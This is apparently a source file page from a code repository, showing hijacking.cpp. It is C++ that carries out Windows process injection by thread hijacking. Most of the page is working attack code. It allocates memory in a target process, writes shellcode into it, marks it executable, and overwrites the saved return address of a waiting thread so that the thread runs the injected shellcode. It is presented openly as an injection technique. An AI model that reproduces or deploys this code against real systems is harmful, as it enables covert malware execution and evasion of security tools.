-
Notifications
You must be signed in to change notification settings - Fork 20
Expand file tree
/
Copy pathhijacking.cpp
More file actions
156 lines (137 loc) · 5.59 KB
/
hijacking.cpp
File metadata and controls
156 lines (137 loc) · 5.59 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
#include "hijacking.h"
#include <psapi.h>
#include <iostream>
#include <sstream>
#include "ntdll_api.h"
#include "ntddk.h"
#include "threads_util.h"
bool protect_memory(DWORD pid, LPVOID mem_ptr, SIZE_T mem_size, DWORD protect)
{
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION, FALSE, pid);
if (!hProcess) return false;
DWORD oldProtect = 0;
BOOL isOk = ntapi::VirtualProtectEx(hProcess, (LPVOID)mem_ptr, mem_size, protect, &oldProtect);
CloseHandle(hProcess);
return isOk;
}
HMODULE get_module_by_address(LPVOID ret)
{
if (IsBadReadPtr(ret, sizeof(DWORD))) {
return (HMODULE)NULL; //not mapped in the current process, probably the implanted shellcode
}
HMODULE mod = NULL;
if (GetModuleHandleExA(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT, (LPCSTR)ret, &mod)) {
std::cout << "Address: " << std::hex << ret << " found in module: " << std::hex << mod;
char base_name[MAX_PATH] = { 0 };
if (GetModuleBaseNameA(GetCurrentProcess(), mod, base_name, MAX_PATH)) {
std::cout << " : " << base_name;
}
std::cout << "\n";
}
return mod;
}
bool check_ret_target(LPVOID ret)
{
HMODULE mod = get_module_by_address((LPVOID)ret);
if (mod == NULL) {
std::cout << "Pointer not in any recognized module.\n";
return false;
}
if (mod == GetModuleHandleA("ntdll.dll") ||
mod == GetModuleHandleA("kernelbase.dll") ||
mod == GetModuleHandleA("kernel32.dll"))
{
return true;
}
std::cout << "Pointer not in ntdll/kernel32.\n";
return false;
}
bool run_injected(DWORD pid, ULONGLONG shellcodePtr, size_t shellcodeSize, DWORD wait_reason)
{
std::cout << "Enumerating threads of PID: " << pid << "\n";
std::map<DWORD, threads_util::thread_info> threads_info;
if (!threads_util::fetch_threads_info(pid, threads_info)) {
return false;
}
HANDLE hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid);
if (!hProcess) return false;
CONTEXT ctx = { 0 };
ULONGLONG suitable_ret_ptr = 0;
ULONGLONG suitable_ret = 0;
std::cout << "Threads: " << threads_info.size() << std::endl;
for (auto itr = threads_info.begin(); itr != threads_info.end(); ++itr) {
threads_util::thread_info& info = itr->second;
if (!info.is_extended) return false;
if (info.ext.state == Waiting) {
std::cout << "TID: " << info.tid << std::hex << " : wait reason: " << std::dec << info.ext.wait_reason << "\n";
if (wait_reason != WAIT_REASON_UNDEFINED // if wait reason defined
&& info.ext.wait_reason != wait_reason)
{
continue;
}
if (!threads_util::read_context(info.tid, ctx)) {
continue;
}
ULONGLONG ret = threads_util::read_return_ptr<ULONGLONG>(hProcess, ctx.Rsp);
std::cout << "RET: " << std::hex << ret << "\n";
if (!suitable_ret_ptr) {
if (!check_ret_target((LPVOID)ret)) {
std::cout << "Not supported ret target. Skipping!\n";
continue;
}
suitable_ret_ptr = ctx.Rsp;
suitable_ret = ret;
std::cout << "\tUsing as a target!\n";
break;
}
}
else {
std::cout << "TID: " << itr->first << "is NOT waiting, State: " << info.ext.state << "\n";
}
}
bool is_injected = false;
if (suitable_ret_ptr) {
// overwrite the shellcode with the jump back
SIZE_T written = 0;
if (ntapi::WriteProcessMemory(hProcess, (LPVOID)shellcodePtr, &suitable_ret, sizeof(suitable_ret), &written) && written == sizeof(suitable_ret)) {
std::cout << "Shellcode ptr overwritten! Written: " << written << " \n";
}
else {
std::cout << "Failed to overwrite shellcode jmp back: " << std::hex << GetLastError() << "\n";
return false;
}
if (!protect_memory(pid, (LPVOID)shellcodePtr, shellcodeSize, PAGE_EXECUTE_READ)) {
std::cerr << "Failed making memory executable!\n";
return false;
}
shellcodePtr += 0x8; // after the saved return...
std::cout << "Trying to overwrite: " << std::hex << suitable_ret_ptr << " -> " << suitable_ret << " with: " << shellcodePtr << std::endl;
if (ntapi::WriteProcessMemory(hProcess, (LPVOID)suitable_ret_ptr, &shellcodePtr, sizeof(shellcodePtr), &written) && written == sizeof(shellcodePtr)) {
std::cout << "Ret overwritten!\n";
is_injected = true;
}
}
CloseHandle(hProcess);
return is_injected;
}
LPVOID alloc_memory_in_process(DWORD processID, const size_t shellcode_size)
{
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION, FALSE, processID);
if (!hProcess) return nullptr;
LPVOID shellcodePtr = ntapi::VirtualAllocEx(hProcess, nullptr, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
CloseHandle(hProcess);
return shellcodePtr;
}
bool write_buf_into_process(DWORD processID, LPVOID shellcodePtr, const BYTE *shellc_buf, const size_t shellc_size)
{
if (!shellcodePtr) return false;
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, processID);
if (!hProcess) return false;
SIZE_T written = 0;
bool isOk = ntapi::WriteProcessMemory(hProcess, (LPVOID)shellcodePtr, (LPVOID)shellc_buf, shellc_size, &written);
CloseHandle(hProcess);
if (isOk && written == shellc_size) {
return true;
}
return false;
}